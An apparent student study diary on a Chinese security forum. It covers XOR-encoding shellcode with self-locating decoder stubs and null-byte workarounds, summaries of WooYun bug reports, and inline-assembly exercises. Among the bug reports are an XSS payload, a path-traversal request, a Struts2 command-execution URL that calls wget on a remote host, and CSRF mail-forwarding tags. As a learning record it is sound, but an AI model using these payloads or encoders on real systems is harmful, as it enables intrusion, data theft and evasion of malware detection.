安全矩阵

 找回密码
 立即注册
搜索
查看: 961|回复: 36

郝恬学习日记

[复制链接]

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
发表于 2020-2-17 20:15:34 | 显示全部楼层 |阅读模式
本帖最后由 gclome 于 2020-3-8 22:19 编辑

shellcode编码----异或大法这里示例的是一个弹出cmd的程序,先把代码贴上来:
  1. #include "stdafx.h"
  2. #include "stdio.h"
  3. #include "windows.h"
  4. #include"stdlib.h"
  5. char

  6. shellcode[]="\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x6D\x64\x00\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";
  7. int main(int argc, char* argv[])
  8. {
  9.         printf("begin\n");
  10.     HINSTANCE libHandle;
  11.         char *dll="user32.dll";
  12.     libHandle=LoadLibrary(dll);
  13.         __asm
  14.         {
  15.                 lea eax,shellcode
  16.                 push eax
  17.                 ret
  18.         }
  19.         return 0;
  20. }
复制代码




编码过程—异或97:
  1. #include <stdio.h>
  2. #define KEY 0x97
  3. Unsigned char ShellCode[] =
  4. "\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50\xB8\x63\x6D\x64\x00\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D";
  5. int main()
  6. {
  7. int i;
  8. int nLen;
  9. unsigned char enShellCode[500]; //编码后的enShellCode
  10. nLen = sizeof(ShellCode)-1; //获得ShellCode的长度
  11. for(i=0; i<nLen; i++)
  12. {
  13.         enShellCode[i] = ShellCode[i] ^ KEY; //对每一位ShellCode作xor key编码
  14.         printf("\\x%x",enShellCode[i]);  //打印出效果
  15. }
  16. return 0;
  17. }
复制代码
这样运行后的结果就得到了enshellcode,编码完成。
解码过程
编码之后我们得到了 enShellCode;还需要一段解码程序decode,让编码后的enShellCode还原成原来 的ShellCode,然后跳过去执行。有了 decode和enShellCode,我们把decode放在前面,enShellCode跟在后面。
我们只需将enShellCode里面的字符再异或编码用的Key就可以了,这里还是0x97.
实现decode的汇编代码如下:
  1. jmp decode_end //为了获得enShellCode的地址
  2. decode_start:
  3.     pop edx // 得到enShellCode的开始位置 esp -> edx
  4.     dec edx
  5.     xor ecx,ecx
  6.     mov cx,0x211 //要解码的 enShellCode长度,0x211应该足够
  7. decode_loop:
  8.      xor byte ptr [edx+ecx], 0x97 //因为编码时用的Key是0x97,所以解码要一样
  9.      loop decode_loop //循环解码
  10.      jmp decode_ok //解码完毕后,跳到解码后的地方执行!
  11. decode_end:
  12.      call decode_start
  13.      decode_ok: //后面接编码后的enShellCode
复制代码
对于上面这段代码的理解:
1,以下代码段的作用是定位enShellCode的位置
  1. jmp decode_end
  2. decode_start:
  3. pop edx
  4. ……
  5. decode_end:
  6. call decode_start
复制代码
call decode—start会完成两个功能:push EIP,JMP decode—start, 即先保存下一句指令的地址,然后跳到decode—start处执行。“
     而call decode—start后面紧跟enShellCode,所以push EIP就会把紧跟后面的enShellCode的地址 保存在堆栈中,然后跳到decode—start处执行。
而在decode—start处,马上pop edx,就会把保存的EIP (其实就是enShellCode的地址)赋给edx, 这样edx就是enShellCode的地址了。这样就获得enShellCode的地址,这是动态定位的方法。
2.
  1. decode_loop:
  2. xor byte ptr [edx+ecx], 0x97 //因为编码时用的Key是0x97,所以解码要一样
  3. loop decode_loop //循环解码
复制代码

  xor byte ptr [edx+ecx], 0x97 就是对 enShellCode 解码——异或0x97;而 loop decode_loop 是一个循环,功能是ecx减一,如果ecx不为0,就跳到decode_loop继续执行。这样,我们就可解码ecx这 么多个字节,这里ecx赋成的是0x200 (500多个字节),一般的ShellCode都应该够了。

3.最后jmp decode_ok是跳转到复原的ShellCode中执行,这样就完成了 decode的功能。
切换到反汇编模式,提取出这些汇编代码的机器码
然后把这串代码写到enshellcode前面就可以得到的代码就是这个样子的:
  1. #include "stdafx.h"
  2. #include "stdio.h"
  3. #include "windows.h"
  4. #include"stdlib.h"
  5. char shellcode[]=
  6. //先是decode
  7. "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x11\x02"
  8. "\x80\x34\x0A\x97\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF"
  9. //后面跟enShellCode
  10. "\xc2\x1c\x7b\x14\x7b\xdf\xa4\x57\xc7\x2f\xb9\xf2\xef\xf2\xc7\x2f\xf4\xfa\xf3\x97\xc7\x1c\x53\xfd\x92\xc7\x2f\x3a\xb4\x11\xeb\x68\x47\xac\x63\xa4\x4c\xc4\x2c\x6d\x5d\x16\xeb\x68\x44\x1c\x72\xca";
  11. int main(int argc, char* argv[])
  12. {
  13.    /*   printf("begin\n");
  14.    HINSTANCE libHandle;
  15.         char *dll="kernal32.dll";
  16.     libHandle=LoadLibrary(dll);*/

  17.         _asm{  
  18.                 lea eax,shellcode
  19.                 push eax
  20.                 ret
  21.         }
  22.         return 0;
  23. }
复制代码
这是我在网上看到的一种解码的方式,然后自己复现了一遍。



回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-2-17 21:16:26 | 显示全部楼层
除了上面的解密子,下面还有一种示例:
首先我们先编码,编码的过程和上面的步骤是有一点不一样,多了一个\x90,这里指的是nop指令,具体加的原因后面会提及。

我们得到了enshellcode:
  1. \xc2\x1c\x7b\x14\x7b\xdf\xa4\x57\xc7\x2f\xb9\xf2\xef\xf2\xc7\x2f\xf4\xfa\xf3\x97
  2. \xc7\x1c\x53\xfd\x92\xc7\x2f\x3a\xb4\x11\xeb\x68\x47\xac\x63\xa4\x4c\xc4\x2c\x6d
  3. \x5d\x16\xeb\x68\x44\x1c\x72\xca\x7
复制代码
接下来是解码过程,解码代码如下:
  1. _asm{
  2. add eax,0x14     //越过decoder代码区
  3.      xor ecx,ecx     //ecx被当作循环控制变量
  4. decode:
  5. mov bl,[eax+ecx]     
  6. xor bl,0x97   //这里的key=0x97,如果encode使用新key,这里也要做相应的修改
  7. mov [eax+ecx],bl
  8. cmp bl,0x90    //将0x90作为shellcode结束的标识符,
  9. jne decode
  10. };
复制代码
调出他的反汇编:

注:
1.如何计算出decoder的长度,即0x14怎么来的?
答:就是数它对应的机器码的个数,是20byte
2.因为0x90作为shellcode结束的标识符,所以我们要在之前写好的shellcode后面加上nop指令,也就是\x90,否则会出错。
3.最后一行jne decode的机器码为 75 F1 。那么“75 F1”代表了什么意思?
答: 75代表的是jne/jnz指令的机器码, F1指的是相对偏移地址,可以表示为jne $-13($表示我这行当前位置,-13往前跳13个机器码,也就是9的位置),
如何查汇编尤其是跳转对应的机器码有个工具,kali里面的msf-nasm_shell,我们输入jne $-13就可以得到机器码了,如下:

  1. 知识点:
  2. 跳转指令机器码:
  3. 直接跳 JMP EB   八位
  4. 直接跳 JMP E9   十六位
  5. 直接标志转移(8位寻址)
  6. 指令格式 机器码 测试条件 如…则转移  
  7. 指令格式 机器码 测试条件 如…则转移
  8. JC 72 C=1 有进位 JNS 79 S=0 正号
  9. JNC 73 C=0 无进位 JO 70 O=1 有溢出
  10. JZ/JE 74 Z=1 零/等于 JNO 71 O=0 无溢出
  11. JNZ/JNE 75 Z=0 不为零/不等于 JP/JPE 7A P=1 奇偶位为偶
复制代码
然后将解码汇编的机器码加在enshellcode前面就可以了!代码:
  1. #include "stdafx.h"
  2. #include "stdio.h"
  3. #include "windows.h"
  4. #include"stdlib.h"
  5. char shellcode[]=
  6. //先是decode
  7. "\x83\xc0\x14\x33\xc9\x8a\x1c\x08\x80\xF3\x97\x88\x1c\x08\x41\x80\xFB\x90\x75\xf1"
  8. //后面跟enShellCode
  9. "\xc2\x1c\x7b\x14\x7b\xdf\xa4\x57\xc7\x2f\xb9\xf2\xef\xf2\xc7\x2f\xf4\xfa\xf3\x97\xc7\x1c"
  10. "\x53\xfd\x92\xc7\x2f\x3a\xb4\x11\xeb\x68\x47\xac\x63\xa4\x4c\xc4\x2c\x6d\x5d\x16\xeb\x68\x44\x1c\x72\xca\x7";
  11. int main(int argc, char* argv[])
  12. {
  13.         _asm{  
  14.                 lea eax,shellcode
  15.                 push eax
  16.                 ret
  17.         }
  18.         return 0;
  19. }
复制代码


运行成功!





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-2-18 13:35:17 | 显示全部楼层
先记录一下昨天写的一个绕过00截断的一个方式,我是将一个shellcode进行编码时,如果遇到00就把它换成42,不是00的话就和97异或,然后在解码的过程中,遇到42就通过和自身异或的方式把它变为00。
先看编码代码
  1. #include <stdio.h>
  2. #define KEY 0x97
  3. unsigned char ShellCode[]="\x55\x8B\xEC\x83\xEC\x48\x33\xC0\x50\xB8\x2E\x65\x78\x65\x50"
  4. "\xB8\x63\x6D\x64\x00\x50\x8B\xC4\x6A\x05\x50\xB8\xAD\x23\x86\x7C\xFF\xD0\x3B\xF4\x33\xDB\x53\xBB\xFA\xCA\x81\x7C\xFF\xD3\x8B\xE5\x5D\x90";
  5. int main()
  6. {
  7. int i;
  8. int nLen;
  9. unsigned char enShellCode[500]; //编码后的enShellCode
  10. nLen = sizeof(ShellCode)-1; //获得ShellCode的长度
  11. for(i=0; i<nLen; i++)
  12. {
  13.         if(ShellCode[i]==0x00)
  14.                 enShellCode[i]=0x42;
  15.         else
  16.          enShellCode[i] = ShellCode[i] ^ KEY;//对每一位ShellCode作xor key编码
  17.         printf("\\x%x",enShellCode[i]);  //打印出效果
  18. }
  19. return 0;
  20. }
复制代码
然后打印出enshellcode:


接下来是解码部分的代码:
  1. _asm{
  2.           add eax,0x21
  3.                      xor ecx,ecx
  4. decode:
  5.                       mov bl,[eax+ecx]
  6.                       cmp bl,0x42                       //判断是否为42
  7.                      jne  S1
  8.              xor bl,0x42                     //与自身异或,结果就为0
  9.               mov [eax+ecx],bl
  10.                       jmp  S2
  11. S1:                xor bl,0x97
  12.                      mov [eax+ecx],bl
  13. S2:                inc ecx
  14.                     cmp bl,0x90
  15.                     jne decode
  16.         };
复制代码

然后把它的机器码记录下来,放到enshellcode前面:
  1. #include "stdafx.h"
  2. #include "stdio.h"
  3. #include "windows.h"
  4. #include"stdlib.h"
  5. char shellcode[]=
  6. //先是decode
  7. "\x83\xc0\x21\x33\xc9\x8a\x1c\x08\x80\xFB\x42\x75\x08\x80\xf3\x42\x88\x1c\x08\xEB\x06\x80\xf3\x97\x88\x1c\x08\x41\x80\xFB\x90\x75\xe4"
  8. //后面跟enShellCode
  9. "\xc2\x1c\x7b\x14\x7b\xdf\xa4\x57\xc7\x2f\xb9\xf2\xef\xf2\xc7\x2f\xf4\xfa\xf3\x42"
  10. "\xc7\x1c\x53\xfd\x92\xc7\x2f\x3a\xb4\x11\xeb\x68\x47\xac\x63\xa4\x4c\xc4\x2c\x6d"
  11. "\x5d\x16\xeb\x68\x44\x1c\x72\xca\x7";
  12. int main(int argc, char* argv[])
  13. {
  14.      HINSTANCE libHandle;
  15.         char *dll="kernal32.dll";
  16.     libHandle=LoadLibrary(dll);
  17. _asm{  
  18.                 lea eax,shellcode
  19.                 push eax
  20.                 ret
  21.         }
  22.         return 0;
  23. }
复制代码
运行成功!


其实我觉得这个方法有个弊端,就是在enshellcode里面,如果本来就有42,那么转化成00的时候,就有可能会使shellcode出错,这就要人工进行检查,比较麻烦

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-2-18 22:59:01 | 显示全部楼层
乌云文章
第一篇crosssitescript at douban
这个记录的是在豆瓣的一个功能里出现的xss漏洞,主要代码是这个
  1. {'text':'<script>alert(\'lol\')<script>',level:4,'type':'S-x'}
复制代码
这个感觉没有加任何的过滤,因为没有对弹框语句做任何的改变都可以弹框成功!
第二篇【豆瓣网推荐功能存在部分XSS漏洞】
这个还是豆瓣网的一个xss漏洞,出现在豆瓣的一个推荐功能上
1. 豆瓣推荐功能可通过网络获取到目标资源上的文件结构. 其会分析/<title>.*<\/title>/里的内容, 并通过jquery代入其目标的html()方式.
但是目标服务器获取数据存在转义问题, 如/<title>.*<\/title>/里的内容为类似&lt;input onmouseover=alert(1)&gt; 的内容时, 会将其转义为<和>, 如代入html()时则会产生跨站脚本攻击...
2. 如用户复制的url地址中包含html代码,则同样在展示时产生攻击. 如
http://www.target.com/?somecode= ... ooooooooooooongcode<xsscode>loooooooooooooooooooongcode.
第三篇【新浪微薄信息泄露】
这个是在http头中包含了LB的IP信息,暴露了内网IP。可获取前端机器的数量以及具体ip信息。应该是为了方便运维。

第四篇【Honeywall后台管理界面存在任意文件读取漏洞】
由于admin/docs.pl 对于 POST的file检查不严。可以自己构造post包来读取任意文件。

http://xxx.xxx.xxx/admin/docs.pl
POST-content:
act=16&file=../../../../../../../../etc/issue&submit=Submit
都可以读取任意文件了,厂商竟然还忽视掉了这个问题。。。
第五篇【酷6网某后台存在弱口令】
在一个项目管理系统中存在弱口令,然后登陆进去是总管理员的身份。有可能比较简单的密码会比较好记,但是也容易被黑阔们利用,如果只涉及自己,那可能会是信息泄露,可是如果是一个公司的后台口令,那无疑是为公司的信息安全埋下了隐患。
第六篇【毒霸Dns域传送漏洞】
金山毒霸是是个病毒防护,垃圾清理的一个软件,记得我之前还在手机上下载过这个app。这个漏洞主要说的是,毒霸Dns服务区配置不当,导致毒霸的域名泄露。域名泄露的话,很容易直接进到一些比较隐密的页面,而通过这些页面,可能会造成进一步的入侵。
第七篇【腾讯某频道SQL注射漏洞】
这个主要是由于过滤不严格从而导致的sql注入漏洞
  1. http://aokang.qq.com/con/default/act/darenmypage?id=9553-1
  2. http://aokang.qq.com/con/default/act/darenmypage?id=9553-2
  3. http://aokang.qq.com/con/default/act/darenmypage?id=9553-3
复制代码
对于一个企业来说,数据库信息是非常重要的,所以应当在可以输入的地方做好过滤,防患于未然。
第八篇【新浪网存在远程执行漏洞】
  1. 使用struts2的任意产品线,在默认配置情况下会导致任意java代码能够以webserver的权限执行。
  2. 如下url存在代码执行漏洞
  3. http://caipiao.sc.sina.com.cn/cbportal/userinfo/showRegister.action
  4. http://caipiao.fj.sina.com.cn/sp1/act/chartmall.chart.action
  5. http://caipiao.henan.sina.com.cn/cbportal/userinfo/showRegister.action
复制代码
任意命令执行:
  1. http://caipiao.fj.sina.com.cn/sp1/act/chartmall.chart.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('\u0023rt.exec(%22/usr/bin/wget ip:port%22)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
复制代码
此漏洞主要针对框架攻击,因此可以在ParameterInterceptor中,过滤掉含有\()@等漏洞利用所必须字符的参数。
第九篇【Sohu 某频道存在 管理页面 未授权访问】
涉及的url是
  1. http://index.news.sohu.com/zhuanti/admin/user_zhuanti.php?pagedata=1&chooseid=1&update=1&id=21791#input
复制代码
这个地址看起来需要登陆之后才可访问,可是存在漏洞使它不用认证,就可访问,可通过添加认证,限制ip来进行修复。
第十篇【网易邮箱CSRF漏洞】
网易126邮箱存在CSRF漏洞,攻击者只需要构造一个邮件发给126用户的邮箱,在邮件按里嵌入一个图片,被攻击用户只要打开了该邮件,邮箱就会被设置自动转发给攻击者邮箱。成功攻击可能导致用户数据被窃取。
  1. <img

  2. src="http://config.mail.126.com/autofw/fwto.do?forwarddes=mailxss@ymail.com&keeplocal=1&callback=MM.autofwd.valCallback"
  3. />
  4. <img
  5. src="http://config.mail.163.com/autofw/fwto.do?forwarddes=mailxss@ymail.com&keeplocal=1&callback=MM.autofwd.valCallback"
  6. />
  7. <img
  8. src="http://config.mail.yeah.net/autofw/fwto.do?forwarddes=mailxss@ymail.com&keeplocal=1&callback=MM.autofwd.valCallback"
  9. />
复制代码
可以通过下面两种方式来修复:1,添加CSRF Token ; 2,将提交方式Get改为Post.



回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-2-19 23:53:19 | 显示全部楼层
2020年2月19日:
今天老师讲了shellcode的相关知识,然后我发现自己在之前写shellcode时,还存在一些问题,今天就来补充一下!
之前提取shellcode都是直接利用C语言代码进行异或得到shellcode,或者是在反汇编里找到汇编对应的机器码提取shellcode,接下来先来看两种提取shellcode的方式:
1.利用kali里面的msf-nasm_shell

然后把这些全部复制到一个文本里,把汇编对应的二进制码提取出来,然后大写字母换成小写并给每两个字符前面加上\x,就得到了shellcode

2.通过汇编程序,如下,在进行这个编码的过程中,因为我们把原始shellcode地址给了eax,则eax对应内存里的值就会变化,在执行过这段程序时,原始shellcode会一次次编码,直到最后一个90也发生改变,则我们就可以把右边改变的数提取出来,加上\x,就得到了编码后的shellcode,也就是edcstr。


  1. #include "stdio.h"

  2. char shellcode[]="\x8b\x04\x24\x83\xc0\x17\x33\xc9\x8a\x1c\x08\x80\xf3\x13\x88\x1c\x08\x41\x80\xfb\x90\x75\xf1\xab\x45\x13\x13\x13\xa8\x27\x13\x13\x13\x10\xd0\x83\x90\x90\x90\x90";

  3. int main(int argc, char* argv[])
  4. {
  5. char oristr[]="\xB8\x56\x00\x00\x00\xBB\x34\x00\x00\x00\x03\xC3\x90";
  6. char dscstr[]="\xAB\x45\x13\x13\x13\xA8\x27\x13\x13\x13\x10\xD0\x83";

  7.         __asm
  8.         {
  9. //   lea eax, shellcode
  10. //        push eax
  11. //        mov eax,[esp]   //  对应的机器码是\x8b\x04\x24,这里是对编码后的shellcode基址的一个定位,我们之前的解密子就是少了这一部分。
  12.   add eax,17h   //   对应的机器码是\x83\xc0\x17\,17h也就是23,指的整个shellcode的长度,这里通过加上偏移地址,就可以跳过解密子部分,准确的到encstr的位置。


  13.          lea eax,shellcode
  14.      push eax           //这里进行两次push eax,是为了让返回的地址刚好指向shellcode的首地址。下面有张图会进行清楚的分析。
  15.          push eax
  16.          ret
  17.         //        lea eax,str
  18.         //        push eax
  19.         //        ret
  20.     /*
  21.         lea eax,oristr       // 可以通过这部分代码将oristr进行编码
  22.                 xor ecx,ecx

  23. ee:       
  24.                 mov bl, [eax+ecx]
  25.                 xor bl,0x13
  26.         mov [eax+ecx],bl
  27.                 inc ecx
  28.         cmp bl,0x90
  29.                 jne ee  */

  30.                 /*mov eax,56h
  31.                 mov ebx,34h
  32.                 add eax,ebx   //这一部分的机器码就是oristr,可以通过方法一提取出来。
  33.                 nop
  34. */


  35.         }

  36.     printf("%s\n",shellcode);
  37.         return 0;
  38. }
复制代码
就是这张图,当执行完ret指令后,esp的值为0012ff10,并且此时的0012ff0c的值也就是第一个进栈的shellcode已经弹出去了,所以需要两次push eax,才可以跳回到shellcode的首地址


当我们调试那部分shellcode的时候,会发现它一直跳动执行,然后会见将最终要执行的shellcode显示出来。


当然这些代码运行是会报错的,因为我们对shellcode之后未作处理。

接下来进入对C语言代码的汇编:
第一个C语言代码:
  1. #include<stdio.h>
  2. void main()
  3. {
  4. int a,b,total;
  5. a=10;
  6. b=3;
  7. total=a*b;
  8. printf("total=&d\n",total);
  9. }
复制代码
这是一个比较简单的实现乘法的程序
1.先看main函数的反汇编:
  1. 00401010   push        ebp   //把原来的ebp保护起来,因为我们进行计算或是操作的时候要在一个新栈里进行,不能影响之前的栈的结构
  2. 00401011   mov         ebp,esp  
  3. 00401013   sub         esp,4Ch  //抬高栈顶,给新栈扩大空间
  4. 00401016   push        ebx
  5. 00401017   push        esi
  6. 00401018   push        edi
  7. 00401019   lea         edi,[ebp-4Ch]
  8. 0040101C   mov         ecx,13h
  9. 00401021   mov         eax,0CCCCCCCCh   //eax清c
  10. 00401026   rep stos    dword ptr [edi]   //重复串操作
  11. ……
  12. ……
  13. 00401051   pop         edi
  14. 00401052   pop         esi
  15. 00401053   pop         ebx    //把push进来的东西,按照先进后出的顺序pop出去
  16. 00401054   add         esp,4Ch
  17. 00401057   cmp         ebp,esp
  18. 00401059   call        __chkesp (004011b0)
  19. 0040105E   mov         esp,ebp  
  20. 00401060   pop         ebp    //恢复到之前的ebp
  21. 00401061   ret
复制代码
2.中间的计算的汇编

  1. 4:     int a,b,total;
  2. 5:                    a=10;
  3. 00401028   mov         dword ptr [ebp-4],0Ah
  4. 6:                     b=3;
  5. 0040102F   mov         dword ptr [ebp-8],3
  6. 7:                     total=a*b;
  7. 00401036   mov         eax,dword ptr [ebp-4]
  8. 00401039   imul        eax,dword ptr [ebp-8]
  9. 0040103D   mov         dword ptr [ebp-0Ch],eax
  10. 8:               printf("total=&d\n",total);
  11. 00401040   mov         ecx,dword ptr [ebp-0Ch]
  12. 00401043   push        ecx
  13. 00401044   push        offset string "total=&d\n" (00427008)
  14. 00401049   call        printf (00401080)
  15. 0040104E   add         esp,8
复制代码
3,下面是我写的汇编代码:
  1. #include<stdio.h>
  2. void main()
  3. {
  4.          int a=3,b=10,c;
  5.          char *str="total=%d\n";
  6.          _asm{      
  7.                  mov eax,a
  8.                  imul eax,b
  9.                  mov ecx,eax
  10.                  push ecx
  11.              push str
  12.                  call printf
  13.                  add esp,8      
  14.          }
  15. }
复制代码

运行成功!
下面这个也是可以的,就是不用把eax值赋给ecx

今天试的时候还犯了一个错误如下,我们写的是C语言嵌入式汇编,所以写main函数里面的汇编就可以了,我今天真的是画蛇添足,记录一下以后就不会在犯了!!!

第二个c语言代码
  1. #include<stdio.h>
  2. void main{
  3. int a,b,c,d;
  4. unsigned u;
  5. a=12;b=-24;u=10;
  6. c=a+u; d=b+u;
  7. printf("a+u=%d,b+u=%d",c,d);
  8. }
复制代码

我写的汇编代码:
  1. #include<stdio.h>
  2. void main()
  3. {
  4.          
  5.          char *str="a+u=%d,b+u=%d\n";
  6.          _asm{      
  7.                  mov eax,0Ch
  8.                  add eax,0Ah
  9.                  mov ebx,0FFFFFFE8h
  10.                  add ebx,0Ah
  11.                  push ebx
  12.                  push eax
  13.              push str
  14.                  call printf
  15.                  add esp,12      
  16.          };
  17. }
复制代码


运行成功!
这里主要注意两点:
1.栈是先进后出的,所以要先让ebx压栈,然后eax在进栈,这样才能使eax比ebx先出栈。
2.如何把负数转换位对应的16进制,我在网上找了一个比较明了的教程:https://blog.csdn.net/xiaochunyong/article/details/7616625

太难了,刚刚不小心把写的东西关掉了,再打开恢复数据已经所剩无几了,又重新写了一遍!先写这么多吧,还有没写的明天再做记录.

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

24

主题

58

帖子

282

积分

中级会员

Rank: 3Rank: 3

积分
282
发表于 2020-2-20 00:40:31 | 显示全部楼层
本帖最后由 caiH 于 2020-2-20 00:54 编辑

原来是这样,学到了,谢谢大佬
回复

使用道具 举报

96

主题

131

帖子

648

积分

高级会员

Rank: 4

积分
648
 楼主| 发表于 2020-2-20 23:40:52 | 显示全部楼层
2020年2月10日
今天还是去写了几个C语言的嵌入式汇编:
第一个C语言程序
  1. #include<stdio.h>
  2. void main()
  3. {
  4. float a,b;
  5. a=123456.789e5;
  6. b=a+20;
  7. printf("%f\n",b);
  8. }
复制代码
这个涉及浮点数的相加,先切换到反汇编看看:
  1. 4:             float a,b;
  2. 5:         a=123456.789e5;
  3. 00401028 C7 45 FC 07 F7 37 50 mov         dword ptr [ebp-4],5037F707h
  4. 6:               b=a+20;
  5. 0040102F D9 45 FC             fld         dword ptr [ebp-4]
  6. 00401032 D8 05 20 60 42 00    fadd        dword ptr [__real@4@4003a000000000000000 (00426020)]
  7. 00401038 D9 55 F8             fst         dword ptr [ebp-8]
  8. 7:              printf("%f\n",b);
  9. 0040103B 83 EC 08             sub         esp,8
  10. 0040103E DD 1C 24             fstp        qword ptr [esp]
  11. 00401041 68 1C 60 42 00       push        offset string "%f\n" (0042601c)
  12. 00401046 E8 35 00 00 00       call        printf (00401080)
  13. 0040104B 83 C4 0C             add         esp,0Ch
复制代码
下面是我写的汇编代码:
  1. #include "stdio.h"

  2. void main()
  3. {
  4. char *str="%f\n";
  5. _asm{
  6. mov dword ptr [esp-4],5037f707h      
  7. mov dword ptr [esp-8],20h
  8. fld dword ptr [esp-4]         //将浮点数压入到ST(0)出
  9. fadd dword ptr [esp-8]      //将浮点数和ST(0)出的浮点数相加,结果保存到ST(0)中
  10. fst dword ptr [esp-0ch]      //将ST(0)取出,不影响FPU栈内数据
  11. sub esp,8
  12. fstp qword ptr [esp]            // 将ST(0)处数据出栈,影响FPU栈内数据,TOP会减一,将数据保存到dword ptr [ebp-0Ch]中  ,,,,这里用的是qword型,
  13. push str
  14. call printf
  15. add esp,0ch
  16. };
  17. }
复制代码

注意:1.将浮点数转化为16进制,有在线转化工具,当然我们参考反汇编也可以写出浮点数对应的16进制。
    2.这里要注意,浮点数的处理和之前整数的处理指令有些不同,关于浮点数的相关指令:
   FLD类似于   PUSH指令   ,作用是将浮点数据压入协处理器的堆栈中
   FST    将协处理器堆栈栈顶的数据传送到目标操作数中。在进行数据传送时,系统自动根据控制寄存器中舍入控制位的设置把栈顶浮点数舍入成相应精度的数据。
   FSTP类似于  POP指令    ,与FST相类似,所不同的是:指令FST执行完后,不进行堆栈的弹出操作,即:堆栈不发生变化,而指令FSTP执行完后,则需要进行堆栈的弹出操作,堆栈将发生变化。
   FADD类似于  ADD指令  ,浮点数进行相加
    浮点数除法:fdiv ;浮点数乘法:fmul ;浮点数减法: fsub

   从上面的浮点传送指令中可以看出,不仅可以对内存变量进行传送,也可以进行寄存器之间的传送,这一点是整型数据以及BCD型数据传送指令所不具有的。
  3.查阅资料:
在C++ 6.0中,BYTE与WORD,DWORD本质上都是一种无符号整型,也就是说BYTE是无符号的char型(char型本质上也是一种1个字节的整型),WORD是无符号short型,DWORD是无符号long型(word的2倍)。
而q就是英文quad-这个词根(意思是4)的首字母,就是一个word的4倍
如果上面那行代码换成 fstp dword ptr [esp] ,输出如下图:

不过是qword输出就是正常的:

运行成功!
第二个C语言程序:
  1. #include<stdio.h>
  2. void main()
  3. {
  4. printf(" ab c\t de\rf\tg\n");
  5. printf("h\ti\b\bj k\n");
  6. }
复制代码
这个程序是对转义字符的输出,只要我们按照格式设置两个字符串,再按照栈的先进后出原则,就可以写出来汇编:

  1. #include<stdio.h>
  2. void main()
  3. {
  4. char *str1=" %c%c %c\t %c%c\r%c\t%c\n";
  5. char *str2="%c\t%c\b%c %c\n";
  6. _asm{
  7.        push 67h
  8.            push 66h
  9.            push 65h
  10.            push 64h   //保存到栈中,不能直接保存字母要把它转化为对应的ascii码值
  11.            push 63h
  12.            push 62h
  13.            push 61h
  14.            push str1
  15.            call printf
  16.            add esp,20h
  17.            push 6bh
  18.            push 6ah
  19.            push 69h
  20.            push 68h
  21.            push str2
  22.            call printf     
  23.            add esp,14h   //第一个printf可以不平堆栈,只要这里改成add esp,34h
  24. };
  25. }
复制代码

运行成功!
第三个C语言程序:

因为大写字母的ascii码值比其对应的小写字母小32h,通过这个我们可以进行大小写转化!
  1. #include<stdio.h>
  2. void main(){
  3. char c1,c2;
  4. c1='a';
  5. c2='B';
  6. c1=c1-32;
  7. c2=c2+32;
  8. printf("%c%c",c1,c2);
  9. }
复制代码
这也是一个比较简单的例子,下面是它的汇编:

  1. #include "stdio.h"

  2. void main()
  3. {
  4. char *str1="%c%c\n";
  5. _asm{
  6.        mov eax,61h
  7.            sub eax,20h
  8.            mov ebx,42h
  9.        add ebx,20h
  10.            push ebx
  11.            push eax
  12.            push str1
  13.            call printf
  14.            add esp,0ch             //平衡堆栈,若上面push了n次,这里就加 n倍的4h
  15. };
  16. }
复制代码

运行成功!
第四个C语言代码:
  1. #include<stdio.h>
  2. void main()
  3. {
  4. char a,b,c;
  5. a='B';b='O';c='Y';   
  6. putchar(a);
  7. putchar(b);
  8. putchar(c);
  9. putchar('\n');
  10. }
复制代码
嵌入式汇编代码:
  1. #include<stdio.h>
  2. void main()
  3. {
  4. char *str1="%c%c%c\n";
  5. _asm{
  6.        push 59h   //Y
  7.            push 4fh   //O
  8.            push 42h  //B
  9.            push str1
  10.            call printf
  11.            add esp,10h
  12. };
  13. }
复制代码

运行成功!
第五个C语言代码:
  1. #include<stdio.h>
  2. void main()
  3. {
  4. char c;
  5. c=getchar();
  6. putchar(c);
  7. putchar('\n');
  8. }
复制代码
我感觉getchar也可以写成对应的汇编,可是我还没有实现
  1. #include<stdio.h>
  2. void main()
  3. {
  4.         int c;
  5. char *str1="%c\n";
  6. c=getchar();
  7. _asm{
  8.          mov eax,c
  9.          push eax
  10.          push str1
  11.          call printf
  12.          add esp,8h
  13. }
  14. }
复制代码



运行成功!
第六个C语言代码(字符数据的输出):
  1. #include<stdio.h>
  2. void main()
  3. {
  4. char c='a';
  5. int i=97;
  6. printf("%c,%d\n",c,c);
  7. printf("%c'%d\n",i,i);
  8. }
复制代码
开始的时候我写的是这样的汇编:
  1. #include<stdio.h>
  2. void main()
  3. {       
  4. char *str1="%c%d\n";

  5. _asm{
  6.          xor ecx,ecx
  7. loop1:         
  8.          push 97
  9.          push 97
  10.          push str1
  11.          call printf
  12.          push 97
  13.          push 97
  14.          push str1
  15.          call printf
  16.          add esp,18h
  17. }
  18. }
复制代码
虽然这样可以执行成功,且达到C语言程序的目的,但是并不够简洁,我们可以利用循环来简化代码。

乌云文章


